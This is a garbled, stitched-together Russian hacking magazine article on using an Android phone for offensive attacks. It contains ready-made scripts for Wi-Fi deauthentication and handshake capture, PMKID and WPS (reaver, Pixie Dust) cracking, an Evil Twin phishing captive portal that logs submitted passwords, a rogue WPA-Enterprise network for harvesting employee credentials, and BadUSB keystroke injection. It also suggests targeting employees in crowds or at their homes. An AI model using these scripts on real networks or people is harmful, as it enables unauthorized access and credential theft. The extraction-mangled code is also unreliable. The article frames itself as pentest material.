 .csv  .png   airgraph-ng -i $dumpfile-01 -g CAPR -o $dumpfile-CAPR && mv
$dumpfile-CAPR.png /sdcard/ 

 .csv  CPG  .png   airgraph-ng -i $dumpfile-01 -g -o $dumpfile-CPG && mv
$dumpfile-CPG.png /sdcard/ 

 /opt/giskismet/giskismet --csv $dumpfile-01.kismet.csv 
   .kml 

  
/opt/giskismet/giskismet -q "SELECT * FROM wireless" -o $dumpfile
&& mv $dumpfile.kml /sdcard/ 

Скрипт содер жит запуск все го, что может быть полез но при раз ведке бес про- 
вод ных устрой ств. Прог рамма airodump-ng край не информа тив на, ее лог
содер жит мно го раз нооб разных дан ных, но вывод на кон соль текущей
информа ции не очень удо бен на телефо не, осо бен но в при сутс твии мно жес- 
тва сетей Wi-Fi. Ути лита hcxdumptool име ет вер тикаль ный waterfall-интерфейс,
крат ко и емко опи сыва ющий все изме нения в ради оэфи ре, поэто му ее вывод
боль ше под ходит для прос мотра текущей информа ции.

Па рал лель но с airodump-ng и hcxdumptool запус кает ся прог рамма Kismet.
Помимо того что она в фоновом режиме так же собира ет информа цию
для пос леду юще го ана лиза, ее веб-интерфейс может быть исполь зован
для удоб ного прос мотра текущих дан ных.

Веб-интерфейс на телефо не нем ного удоб нее кон соли

Пос ле завер шения сбо ра информа ции ата кующе му пред сто ит про ана лизи- 
ровать кучу дам пов и логов, содер жащих све дения об услы шан ных бес про-
вод ных устрой ствах в самых раз ных фор матах:

 — сырой дамп Wi-Fi-тра фика
(толь ко probe, beacons);

• out-DD.MM.YYYY-HH:mm:SS-01.cap

 — под робная информа ция о точ- 
ках дос тупа и кли ентах в тек сто вом виде;

• out-DD.MM.YYYY-HH:mm:SS-01.csv

 — JSON-лог информа ции о GPS
за все вре мя раз ведки;

• out-DD.MM.YYYY-HH:mm:SS-01.gps

 — информа ция по точ кам
дос тупа;

• out-DD.MM.YYYY-HH:mm:SS-01.kismet.csv

 — то же, но в XML;• out-DD.MM.YYYY-HH:mm:SS-01.kismet.netxml

 — информа ция по всем слы- 
шимым бес про вод ным устрой ствам на каж дом шаге переме щения;

• out-DD.MM.YYYY-HH:mm:SS-01.log.csv

 — сырой дамп все го Wi-Fi-тра фика;• out-DD.MM.YYYY-HH:mm:SS.pcap

 — база SQLite, опи сыва ющая
бес про вод ные устрой ства, а так же каж дый шаг перед вижения;

• Kismet-YYYYMMDD-HH-mm-ss-1.kismet

 — граф свя зей точ ки дос тупа
и кли ентов;

• out-DD.MM.YYYY-HH:mm:SS-CAPR.png

 — граф свя зей кли ентов и probe-
зап росов.

• out-DD.MM.YYYY-HH:mm:SS-CPG.png

Скрипт  на этом не закан чива ет свою работу. С помощью airgraph-
ng по услы шан ному тра фику он фор миру ет два гра фа свя зей — точек дос тупа
с кли ента ми и кли ентов с их probe-зап росами. И для удобс тва эти гра фы
могут быть ско пиро ваны в корень , что бы их мож но было пос мотреть

в самой обыч ной галерее телефо на, даже не отхо дя от объ ектов атак.

recon.sh

/sdcard/

На конец, ути лита giskismet, исполь зуя логи airodump-ng, сопос тавля ет все
обна ружен ные точ ки дос тупа на кар те.

Три ангу ляция точек дос тупа по сиг налу — вещь не силь но точ ная, поэто му
airodump-ng в качес тве геоло кации показы вает мес то, где впер вые была
обна руже на точ ка дос тупа. Зато прог рамма Kismet выпол няет уже пол ноцен- 
ную три ангу ляцию на осно ве всех переме щений отно ситель но каж дой точ ки
дос тупа. При чем это спра вед ливо и в отно шении кли ент ских устрой ств (вклю- 
чая Bluetooth и бес про вод ные мыш ки и кла виату ры), которые так же могут
быть объ екта ми будущих атак. Kismet сох раня ет еще и спи сок всех слы шимых
бес про вод ных устрой ств в каж дой точ ке пути, что может быть исполь зовано
для сос тавле ния теп ловой кар ты сиг нала. Все это мож но экспор тировать
в инте рак тивную HTML-стра ницу поверх карт, как про демонс три рова но
в статье «

».
Ме гад рон. Стро им хакер ский бес пилот ник — даль нобой ный и с

защитой от глу шилок
В ито ге подоб ная раз ведка сво дит ся к прос той про гул ке вдоль перимет ра

объ екта, ког да у хакера в кар мане лежит телефон с запущен ным скрип том.
А затем мож но про ана лизи ровать дан ные, не отхо дя от объ ектов атак, —
на телефо не. Пос ле чего ата кующий может вер нуть ся в те или иные мес та уже
с заранее при готов ленны ми сце нари ями атак, которые мож но реали зовать
с помощью Pineapple или телефо на.

Раз ведка приз вана показать изъ яны в сис теме защиты, а зна чит, вре мя
перехо дить к ата кам.

Àòàêè íà òî÷êè äîñòóïà
Су щес тву ет нес коль ко атак, поз воля ющих получить общий ключ для дос тупа
к бес про вод ной сети WPA PSK. Этот тип бес про вод ных сетей встре чает ся
чаще все го.

Ïåðåõâàò handshake (deauth)
Са мая извес тная из атак — перех ват WPA handshake с его пос леду ющим
брут форсом. WPA handshake при лета ет от кли ента во вто ром пакете «рукопо- 
жатия» (EAPOL M2). Задача ата кующе го — наб рать такие handshake, исполь- 
зуя под вижность и неп римет ность телефо на. Пос ле чего наб ранные
handshake могут быть под вер гну ты брут форсу на дру гом, более мощ ном, чем
телефон, обо рудо вании. Что бы ата кующе му не при ходи лось кор ректи ровать
коман ды каж дый раз под новые бес про вод ные сети, про ще запус тить авто- 
мати чес кую деаутен тифика цию все го и вся одной коман дой, с воз можностью
ука зать час тотные каналы:

wifi/wpapsk/deauth.sh
#!/bin/bash

  1     [[ $# -ge ]] && channels="$1" || channels='1,6,11'
out-  +dumpfile= $(date '%H:%M:%S_%d.%m.%Y')

 tmux new-session -d -s deauth "sudo hcxdumptool -i mon0 
--enable_status=1 -o $dumpfile.pcapng --silent --passive"

 tmux split-window -v -t deauth "sudo mdk4 mon0 d -c $channels"
tmux a -t deauth 

   tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap 
  rm -f $dumpfile.pcapng 

Ути лита hcxdumptool работа ет в пас сивном режиме, толь ко зах ватывая
пакеты. Так же она опо веща ет об услы шан ных пакетах аутен тифика ции
(EAPOL), в которых как раз содер жится handshake. За деаутен тифика цию
в этом слу чае отве чает mdk4. Ниже при веден наг лядный при мер ата ки
с телефо на, выпол ненный на стен де.

От клю чение кли ента от точ ки дос тупа и перех ват его handshake

Так как ата кующий име ет экран и кла виату ру, он может поп робовать подоб- 
рать пароль пря мо на телефо не. Пос коль ку тре бует ся под бирать пароли
толь ко к пра виль ным хешам, нуж но отбро сить все половин чатые handshake.
Ины ми сло вами, брут форсить целесо образно толь ко пос ледова тель нос ти
EAPOL M1 + M2 + M3, потому что на неп равиль ный пароль точ ка дос тупа M3-
под твержде ние уже не отправ ляет:

wifi/wpapsk/brute-wpapsk.sh
#!/bin/bash

tmp="m2m3-$RANDOM"
pcap  for in *.pcap 

do
    hcxpcapngtool "$pcap" -o "$tmp.txt" --all

done
    hcxhashtool -i "$tmp.txt" --authorized -o "valid-$tmp.txt"

  hcxhash2cap --pmkid-eapol="valid-$tmp.txt" -c "$tmp.pcap"
  ok aircrack-ng -w /opt/wordlists/top100k.txt "$tmp.pcap" && read 

     rm "$tmp.txt"; rm "valid-$tmp.txt"; rm "$tmp.pcap"

Под бор пароля к точ ке дос тупа по WPA handshake

Cкрипт генери рует новые PCAP-фай лы, содер жащие толь ко кор рек тные
handshakes. Обра ти вни мание, что брут форс выпол няет ся прос тым aircrack-
ng, так как его на телефо не соб рать про ще, чем John и тем более hashcat.
Имен но по этой при чине для хра нения хешей исполь зует ся наибо лее уни вер- 
саль ный фор мат PCAP.

Сбор handshake час то не тре бует мно го вре мени, а все, что нуж но ата- 
кующе му, — это лишь подой ти поб лиже к точ ке дос тупа. Поэто му в боль шинс- 
тве слу чаев такую ата ку целесо образнее про вес ти с телефо на. В тех же ситу- 
ациях, ког да кли енты появ ляют ся ред ко, мож но задей ство вать Pineapple,
положив его куда-нибудь в укромное мес то на дли тель ное вре мя.

Çàõâàò PMKID (auth)
По доб рать пароль к сети WPA PSK мож но не толь ко перех ватом handshake.
Весь ма неп лохой аль тер нативой может быть зах ват похоже го хеша, называ- 
емо го PMKID. PMKID исполь зует ся, как пра вило, кор поратив ными роуте рами
для бес шовно го перек лючения меж ду мно жес тва ми точек дос тупа с оди нако- 
вым име нем. Переда ется PMKID в пер вом «рукопо жатии» (EAPOL M1). Такой
пакет может быть получен прос то при попыт ке аутен тифици ровать ся
на целевой точ ке дос тупа еще до вво да пароля (EAPOL M2).

Вы ходит, эта ата ка про ще по реали зации, ведь она не тре бует кли ента.
Одна ко далеко не каж дая точ ка дос тупа ей под верже на.

От ата кующе го тре бует ся наб рать PMKID хешей как мож но с боль шего
количес тва бес про вод ных точек дос тупа. Для это го мож но исполь зовать сле- 
дующий скрипт, который авто мати чес ки ини циирует аутен тифика цию к каж- 
дой новой точ ке дос тупа:

wifi/wpapsk/auth.sh
#!/bin/bash

 +dumpfile="out-$(date '%H:%M:%S_%d.%m.%Y')"

 4  2 7  
 

sudo hcxdumptool -i mon0 -s -t --enable_status= -o $dumpfile.
pcapng --disable_client_attacks --disable_deauthentication

   tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap 
  rm -f $dumpfile.pcapng 
  ls -lh $dumpfile.pcap 

Для совер шения такой ата ки не нуж ны осо бые усло вия, тре буют ся толь ко уяз- 
вимые точ ки дос тупа. Пос коль ку в этом слу чае не выпол няет ся деаутен- 
тифика ция, ата ка пол ностью бес шумная, на стен де она может выг лядеть сов- 
сем безобид но.

Зах ват PMKID с под вержен ных точек дос тупа

Прог рамма для под бора пароля aircrack-ng при наличии хешей PMKID
(EAPOL M1) и WPA handshake (EAPOL M2) отда ет пред почте ние пос ледне му,
а зна чит, может под бирать зах вачен ный неп равиль ный пароль. Что бы бру тить
имен но наб ранные PMKID, нуж но оста вить толь ко handshake-чет вертин ки,
отбро сив EAPOL M2:

wifi/wpapsk/brute-pmkid.sh
#!/bin/bash

tmp="m1-$RANDOM"
pcap  for in *.pcap 

do
  hcxpcapngtool "$pcap" --pmkid="$tmp.txt"

done
  hcxhash2cap --pmkid="$tmp.txt" -c "$tmp.pcap"

  ok aircrack-ng -w /opt/wordlists/top100k.txt "$tmp.pcap" && read 
   rm "$tmp.txt"; rm "$tmp.pcap"

Под бор пароля к точ ке дос тупа по PMKID

Ско рость брут форса PMKID схо жа с WPA handshake. Ата ка на PMKID работа ет
далеко не с каж дой точ кой дос тупа, поэто му ата ковать целесо образнее
в дви жении, обна ружи вая все новые и новые цели.

Àòàêà íà WPS
Ста рая, но еще акту аль ная ата ка на WPS — тоже must have для хакера. Уяз- 
вимость зак люча ется в воз можнос ти подоб рать по час тям 8-знач ный PIN-код,
который исполь зует ся для получе ния клю ча WPA PSK.

У ата ки есть нес коль ко вари антов под бора:
пол ный перебор;•
от сутс твие PIN-кода;•
vendor-specic PIN-коды;•
Pixie Dust.•

Для авто мати зации мож но пос ледова тель но про бовать раз ные тех ники под-
бора:

wifi/wpapsk/wps.sh
#!/bin/bash

  1     [[ $# -ge ]] && AP="$1" || {
 wash sudo -i mon0 -s
    AP read -p 'BSSID: '
}

      2  5  20   sudo reaver -i mon0 -b "$AP" -F -w -N -d -l -t -vv -K # Pixie 
Dust

      2  5  20  sudo reaver -i mon0 -b "$AP" -F -w -N -d -l -t -vv # Full

Продолжение статьи →
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Скрипт сна чала покажет все слы шимые точ ки дос тупа, на которых акти вен
WPS.

За пуск ата ки на WPS точ ки дос тупа

Пос ле вво да BSSID точ ки дос тупа идет попыт ка более быс трой ата ки Pixie
Dust. В слу чае неуда чи запус тится клас сичес кий дли тель ный перебор PIN-
кода. На рисун ке ниже показа но, как ата ка может выг лядеть на стен де с быс- 
трой экс плу ати руемой Pixie Dust.

Те лефон успешно ата ковал по WPS точ ку дос тупа

Ата ке на WPS может быть под вержен как кор поратив ный, так и домаш ний
роутер и даже прин тер. С помощью этой ата ки мож но мак симум
за 11 000 попыток подоб рать циф ровой PIN-код, который поз волит под клю- 
чить ся к бес про вод ной сети ана логич но исполь зованию PSK-клю ча. Если уяз- 
вимость Pixie Dust име ется, PIN-код будет подоб ран за нес коль ко секунд.

Ата ковать быс трую Pixie Dust целесо образно c телефо на, дви гаясь и охва- 
тывая мно жес тво целей. Но экс плу ата ция ата ки пол ным перебо ром кодов
WPS PIN может затянуть ся на мно го часов. Сле дова тель но, для это го опти- 
маль но исполь зовать авто ном ный Pineapple, что бы часами не сто ять воз ле
ата куемой точ ки дос тупа.

Îíëàéí-áðóòôîðñ
Но что, если у точ ки дос тупа сов сем нет кли ентов? Более чем в полови не слу- 
чаев точ ки дос тупа могут не иметь ни кли ентов, ни под вержен ного перебо ру
WPS и тем более при год ного к брут форсу PMKID. Одна ко и такие устрой ства
могут быть лег ко ата кова ны.

Под бор паролей ко всем слы шимым точ кам дос тупа

Под робнос ти этой ата ки вынесе ны в отдель ную статью — «
».

Брут на ходу. Ата- 
куем бес про вод ные сети прос тым и эффектив ным спо собом

Àòàêè íà êëèåíòû
Все рас смот ренные выше ата ки объ еди няет то, что они нап равле ны на точ ку
дос тупа. Теперь пред лагаю рас смот реть дру гую сто рону атак — на кли енты.

RoqueAP — это целое семей ство атак на Wi-Fi-кли енты через вре донос- 
ные точ ки дос тупа, к которым у поль зовате лей или их устрой ств есть доверие.
Ведь без доверия вза имо дей ство вать с ними не получит ся, так как имен но
кли енты ини циируют под клю чение. Гло баль но такие ата ки мож но раз делить
на две груп пы:

ата ка на самих поль зовате лей, тре бующая при менять соци аль ную инже- 
нерию (Evil Twin);

•

ата ка на кли ент ские устрой ства, zero click (EAP, Karma).•

Evil Twin
Эта ата ка наг лядно про демонс три рова на в . Ата кующий
может про вес ти ее с телефо на даже на встро енном Wi-Fi-адап тере, так
как для нее не нужен режим монито ра, а под дер жка режима точ ки дос тупа
есть поч ти в каж дом сов ремен ном телефо не.

статье про Pineapple

Сле дующий скрипт запус кает необ ходимые ком понен ты ата ки — точ ку
дос тупа с прив лекатель ным име нем сети, DHCP- и DNS-сер веры, а так же
веб-сер вер, нас той чиво зап рашива ющий у поль зовате ля те или иные дан ные:

wifi/roque_ap/eviltwin/run.sh
#!/bin/bash

  1       [[ $# -ge ]] && essid="$1" || read -p 'essid: ' essid
  2     [[ $# -ge ]] && wwwroot="$2" || wwwroot='pages/simple'

sudo ifconfig wlan0 up 
sudo ip a add 11.0.0.1/24 dev wlan0 
sudo ip r add 11.0.0.0/24 dev wlan0 table 97 

 nat  tcp  80 
 80 

sudo iptables -t -A PREROUTING -i wlan0 -p --dport -j 
REDIRECT --to-ports

 tmux new-session -d -s eviltwin "./hostapd.sh '$essid' ''"
 tmux split-window -v -t eviltwin "./dnsmasq.sh"
 tmux split-window -v -t eviltwin "sudo php -S 11.0.0.1:80 captive.

php '$wwwroot'"
tmux a -t eviltwin 

sudo ifconfig wlan0 0 
 nat  tcp  80 

 80 
sudo iptables -t -D PREROUTING -i wlan0 -p --dport -j 
REDIRECT --to-ports

 echo 'done'

Скрипт пос ле запус ка зап рашива ет имя бес про вод ной сети и шаб лон
веб-стра ницы для Captive-пор тала. Пос ле чего он запус кает три ком понен та,
раз делив экран на три области.

Пер вая треть экра на — это реали зация самой точ ки дос тупа:

wifi/roque_ap/eviltwin/hostapd.sh
#!/bin/bash

  1       [[ $# -ge ]] && essid="$1" || read -p 'essid: ' essid
  2       [[ $# -ge ]] && password="$2" || read -p 'password: ' password 

     if [ -z "$password" ]; then
 config='ap_opn.conf'

else
 config='ap_wpa.conf'

fi

sudo rm /tmp/$config
 cp $config /tmp/$config
  sed -i "s/__ESSID__/$essid/g" /tmp/$config
  sed -i "s/__PASS__/$password/g" /tmp/$config

sudo hostapd /tmp/$config
wifi/roque_ap/eviltwin/ap_opn.conf 
interface=wlan0 
driver=nl80211 
ssid=__ESSID__ 

g hw_mode=
1 channel=

0 macaddr_acl=
1 auth_algs=

0 ignore_broadcast_ssid=

Вто рая треть экра на — это DHCP- и DNS-сер веры, которые показы вают ата- 
кующе му, что кли ент под клю чил ся к его точ ке дос тупа и получил IP-адрес.
Каж дая попыт ка обра щения кли ента к тому или ино му ресур су по DNS-име ни
при водит его на IP-адрес точ ки дос тупа:

wifi/roque_ap/eviltwin/dnsmasq.sh
#!/bin/bash

sudo dnsmasq --conf-file=dnsmasq.conf -d
wifi/roque_ap/eviltwin/dnsmasq.conf 
domain=fake.net 
interface=wlan0 
dhcp-range=11.0.0.10,11.0.0.20,24h 
dhcp-option=1,255.255.255.0 
dhcp-option=3,11.0.0.1 
dhcp-option=6,11.0.0.1 
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1 
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1 

30 local-ttl=
address=/#/11.0.0.1 

По луче ние кли ентом IP-адре са мож но счи тать пол ноцен ным под клю чени ем
к точ ке дос тупа.

На конец, третья область экра на — это собс твен но Captive-пор тал,
на который завора чива ется весь веб-тра фик от кли ента. Он показы вает все
обра щения кли ента к веб-ресур сам и попыт ки вво да пароля в фишин говую
веб-фор му:

wifi/roque_ap/eviltwin/captive.php
<?php

   $root = str_getcsv(file_get_contents('/proc/self/cmdline'), "\0")[4];
     $script = str_replace('..', '', urldecode($_SERVER['SCRIPT_NAME']));

// safety
header('HTTP/1.1 200 OK');

 header('Content-type: '); // disable Content-Type
     if ( is_file($root . $script) )

      echo file_get_contents($root . $script);
else
      echo file_get_contents($root . "/index.html");

  foreach($_POST as $par=>$val)
         error_log( "\x1b[31m" . "$par: $val" . "\x1b[0m" );
?>

Лен динг стра ницы, которую видит жер тва, может быть выб ран уже под кон- 
крет ную ситу ацию. Зло умыш ленник может свер стать его самос тоятель но,
но про ще ско пиро вать дизайн стра ницы с помощью бра узе ра: Ctrl-S →
«Веб-стра ница пол ностью». Такая копия пол ностью авто ном на — все скрип- 
ты, сти ли и кар тинки заг ружа ются без интерне та. Пос ле чего пап ку с сох- 
ранен ными фай лами мож но положить на телефон в 

.
wifi/roque_ap/

eviltwin/pages/new_page/
Код  реали зован так, что бы мож но было под клю чить любую

пред варитель но кло ниро ван ную стра ницу с миниму мом пра вок. Как пра вило,
ком понен ты веб-стра ницы заг ружа ются методом GET, а вве ден ные дан ные
с веб-форм ухо дят методом POST. Поэто му скрипт под све чива ет крас ным
имен но POST-парамет ры. В ниж ней тре ти экра на мож но уви деть вве ден ные
поль зовате лем дан ные.

captive.php

Ата ка Evil Twin и зах ват пароля на стен де

На иллюс тра ции показа ны прос тей шая стра ница Captive-пор тала и резуль тат
вво да дан ных, который тут же отра жает ся в телефо не ата кующе го. При этом
вид ны и момент под клю чения к под став ной точ ке дос тупа, и получе ние IP-
адре са от нее. Это тоже может быть полез но для оцен ки кон версии жертв
атак Evil Twin: сколь ко под клю чилось, а сколь ко вве ло дан ные. Такая
информа ция может быть полез на при пен тестах для оцен ки уров ня осве дом- 
леннос ти сот рудни ков. А вот так эта ата ка смот релась бы в реаль ных обсто- 
ятель ствах.

Ата ка Evil Twin и зах ват пароля в дей ствии

Твор ческий под ход в пре тек сте игра ет клю чевую роль. Не сто ит пере оце- 
нивать ско рость этой ата ки. Кли ент далеко не сра зу может под клю чить ся
к под став ной точ ке дос тупа и уж тем более ввес ти какой-то пароль. Эта ата ка
может про ходить часами или даже дня ми. В свя зи с чем ее целесо образнее
про водить с помощью авто ном ного Pineapple. Но иног да, ког да кли енты
слиш ком рас сре дото чены по пло щади, удоб нее совер шать ее с телефо на.

EAP
Се ти WPA-Enterprise час то встре чают ся на пред при ятиях. Эта ата ка под робно
опи сана в соот ветс тву ющем раз деле  и в матери але «

». В этой статье про демонс три рова на воз можность ее реали зации
с телефо на.

статьи о Pineapple Ме- 
гад рон. Стро им хакер ский бес пилот ник — даль нобой ный и с защитой от глу- 
шилок

При веден ный ниже скрипт запус кает сеть WPA-Enterprise с ука зан ным
име нем на нем ного про пат ченной вер сии hostapd-wpe:

wifi/roque_ap/eap/run.sh
#!/bin/bash

  1       [[ $# -ge ]] && essid="$1" || read -p 'essid: ' essid
EAP='wlan0'

 MON='mon0' #opt

cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/hostapd-wpe.conf 
  sed -i "s/interface=.*/interface=$EAP/g" /tmp/hostapd-wpe.conf 
  sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-wpe.conf 
 echo "[+] attacking $essid"

#sudo timeout $attack_time mdk4 $MON d -c 1,6,11 &
sudo hostapd-eaphammer -x /tmp/hostapd-wpe.conf 

Что бы прив лечь жер твы, мож но и глу шить сиг налы легитим ных точек дос тупа.
Эта ата ка чрез вычай но опас на, но менее извес тна, чем пре дыду щие.

Еще боль шую опас ность ата ке при дает прос тота исполне ния — ее мож но
реали зовать на встро енном Wi-Fi-адап тере телефо на.

Сто ит обра тить осо бое вни мание, что в таком слу чае учет ные дан ные
отправ ляет имен но устрой ство, а не поль зователь! Сле дова тель но, телефон
может спо кой но лежать в кар мане у сот рудни ка ком пании, ког да непода леку
от него находит ся хакер.

Что бы не сорев новать ся с сиг налами кор поратив ных точек дос тупа, хакер
может под жидать цели атак на выходе из офи са — там, где сот рудни ки, спе- 
шащие домой, еще не успе ли отклю чить Wi-Fi. Устрой ства таких сот рудни ков
отправ ляют свои пароли зло умыш ленни ку в виде хеша (WPA-Enterprise
MSCHAP) или откры того тек ста (WPA-Enterprise GTC).

Ата ка под дель ной Enterprise-сети и зах ват пароля на объ екте

Так как ата кующий вза имо дей ству ет непос редс твен но с кли ент ским устрой- 
ством (не поль зовате лем), ата ка явля ется, что называ ется, zero click, ее ско- 
рость дос таточ но высокая, так что ее впол не мож но про вес ти с телефо на
или даже дро на. При этом зло умыш ленник абсо лют но никак не выделя ется
на фоне окру жающих, ведь в руках у него обыч ный телефон.

А что, если ата кующий нап равит ся в час пик в люд ное мес то? Мимо него
за корот кий про межу ток вре мени могут прой ти десят ки тысяч людей со сво- 
ими бес про вод ными устрой ства ми. Впол не веро ятно, что подоб ная «рыбал- 
ка» зацепит чей-то кор поратив ный пароль.

Под вержен ные ата ке кли ент ские устрой ства могут быть мак сималь но рас- 
пре деле ны по город ской тер ритории, и ата кующе му необя затель но быть
где-то поб лизос ти от объ екта про ник новения. Люд ное мес то, такое как тор- 
говые цен тры, где дос таточ но боль шая плот ность и высокая веро ятность
встре тить сот рудни ков инте ресу ющей ком пании, может быть отличным плац- 
дармом, что бы соб рать нуж ные учет ные дан ные.

Во обще, зло умыш ленник для про веде ния такой ата ки может вов се
не появ лять ся воз ле объ екта про ник новения, даже на эта пе раз ведки
для получе ния имен бес про вод ных сетей. Имя сети может быть взя то из спе- 
циали зиро ван ных пуб личных источни ков (OSINT), собира ющих име на сетей
с при вяз ками к геог рафичес ким коор динатам. А цели атак — сот рудни ки —
могут быть ата кова ны даже у себя дома, их адре са тоже мож но выяс нить бла- 
года ря мно гочис ленным утеч кам в интерне те.

Кли ент ские бес про вод ные устрой ства, под клю чен ные к домаш ним Wi-Fi-
сетям и никак не ожи дающие появ ления кор поратив ной бес про вод ной сети,
так же бес созна тель но могут отпра вить учет ные дан ные хакеру, сто яще му
за дверью, в момент, ког да его сиг нал ока жет ся чуть силь нее точ ки дос тупа.

Утеч ка кор поратив ной учет ки у две ри квар тиры на стен де

Так что такая ата ка может про изой ти где-то далеко от охра няемо го физичес- 
кого перимет ра и остать ся пол ностью незаме чен ной.

Karma
Karma поз воля ет ата ковать уже непос редс твен но сами устрой ства, при чем
даже авто ном ные, за которы ми не работа ет поль зователь. Это может быть
заб локиро ван ный компь ютер, телефон, лежащий в кар мане, или даже IP-
камера, висящая на перимет ре.

Де тали этой ата ки опи саны в статье «
».

KARMAгед дон. Ата куем кли ент ские
устрой ства с помощью Karma

ÏÐÎÄÎËÆÅÍÈÅ ÑËÅÄÓÅÒ

К сожале нию, фор мат статьи име ет свои огра ниче ния на объ ем и здесь я
вынуж ден пос тавить точ ку. Но лишь в пер вой час ти.

Мы обсу дили самые оче вид ные ата ки, которые мож но про вес ти с телефо- 
на. Во вто рой же час ти статьи будет рас смот рен еще ряд атак, уже более
экзо тичес ких, но отнюдь не менее опас ных.

https://xakep.ru/2023/05/12/wifi-bruteforce/
https://xakep.ru/2023/04/18/diy-pineapple/
https://xakep.ru/2023/04/18/diy-pineapple/
https://xakep.ru/2023/04/26/hacker-megadrone/
https://xakep.ru/2023/05/19/karma-guide/
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Обыч ный мобиль ный телефон на Android
может стать гроз ным ору жием в руках
хакера — как сам по себе, так и с исполь- 
зовани ем нес коль ких допол нитель ных
устрой ств. Но одно го железа для пол ного
успе ха недос таточ но: что бы вдох нуть
в хакер ский смар тфон жизнь, необ ходимо
оза ботить ся соф том. О нем мы сегод ня
и погово рим.

INFO

Эта статья — про дол жение матери ала «

». Она завер шает цикл пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос-
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак.

Ки бер фон.
Прев раща ем телефон на Android в инс тру мент
хакера

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В статье « »
был показан прос той и уни вер саль ный спо соб соз дания GNU-окру жения —
базы для хакер ско го инс тру мен тария. Мы рас смот рели прин цип сбор ки драй- 
веров пря мо на устрой стве, а так же орга низо вали вза имо дей ствие Android
с GNU. Затем я про демонс три ровал часть хакер ских воз можнос тей сов- 
ремен ного смар тфо на. Это были самые опас ные и рас простра нен ные век- 
торы нападе ния с исполь зовани ем ради ока нала. Давай взгля нем, на что спо- 
собен телефон при непос редс твен ном физичес ком дос тупе к ата куемо му
устрой ству.

Ки бер фон. Прев раща ем телефон на Android в инс тру мент хакера

Продолжение статьи →

mailto:s0i37@ya.ru
https://xakep.ru/2023/05/30/hacking-smartphone/
https://xakep.ru/2023/05/30/hacking-smartphone/
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BADUSB

Сов ремен ные Android-устрой ства име ют из короб ки богатую под дер жку эму- 
ляции USB. Нап ример, при под клю чении к компь юте ру телефон обыч но спра- 
шива ет, как он может быть опре делен — как сетевое устрой ство, съем ный
диск или ина че. Все это эму ляция через так называ емые USB-гад жеты. Ты
можешь самос тоятель но изу чить, какие гад жеты уже реали зова ны в тво ем
текущем ядре, с помощью мобиль ного при ложе ния USB Gadget Tool
(net.tjado.usbgadget). Сре ди них навер няка есть под дер жка гад жетов для всех
воз можных BadUSB-атак.

BadUSB-hid
С телефо на мож но без тру да ими тиро вать кла виату ру и выпол нить про- 
изволь ные коман ды с помощью авто мати чес кого вво да — эта ата ка была
опи сана в статье «

». Нам пот ребу ется USB-фун кция , а сле дующи ми

незамыс ловаты ми коман дами ата кующий может вклю чить в телефо не спря- 
тан ные воз можнос ти эму ляции кла виату ры:

Очень пло хая флеш ка. Раз бира ем ата ку BadUSB
в деталях hid.keyboard

badusb/hid/start.sh
#!/bin/bash

    
 

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none 
/sys/kernel/config; fi

 cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1/
mkdir -p functions/hid.keyboard
cd functions/hid.keyboard/
echo 1 > protocol
echo 1 > subclass
echo 8 > report_length
echo -ne '\\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\
xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\
\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91
\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\
x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0' > report_desc
cd -
ln -s functions/hid.keyboard configs/b.1/hid.keyboard
echo "" > UDC
echo `ls -1 /sys/class/udc/ | head -1` > UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config 
rndis,none,adb'"
while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; done
EE

В резуль тате телефон может стать USB-кла виату рой. Акти виру ет нажатия кла- 
виату ры такой скрипт:

badusb/hid/keystrokes.sh
#!/bin/bash

  1       [[ $# -eq ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.
txt')

 us python2 ./ducky/duckhunter.py -l "$ducky" /tmp/rubber_ducky.sh 
cat /tmp/rubber_ducky.sh 
PATH="$PATH:." bash /tmp/rubber_ducky.sh 
rm /tmp/rubber_ducky.sh 

В слу чае с телефо ном ата ка BadUSB-hid может выг лядеть даже менее подоз- 
ритель но, чем с флеш кой. Ведь если флеш ку вста вит в комп далеко не каж- 
дый, то зарядить телефон мож но поч ти у кого угод но.

Те лефон на заряд ке нажима ет кла виши, запус кающие коман ду ска чива -
ния и запус ка бэк дора

Это отличный соци аль ный век тор ата ки. Забав но, но воп реки обще му мне нию
получа ется, что телефо ном взло мать комп куда про ще, чем компь юте ром
взло мать телефон.

Для незамет ности зло умыш ленник может акти виро вать ата ку не сра зу
в момент под клю чения, а спус тя какое-то вре мя:

60sleep ; badusb/hid/start.sh; badusb/hid/keystrokes.sh 

У сов ремен ного телефо на мно жес тво дат чиков, и триг гером к ата ке может
стать что угод но — осве щение, виб рация, дви жение телефо на или даже
голосо вая коман да:

     while [ ~/android/listen.sh != "run" ]; do false; done; badusb/hid/
keystrokes.sh ducky.txt 

android/listen.sh
#!/bin/bash
ssh -i ~/id_rsa-local -p 8022 localhost "termux-speech-to-text"

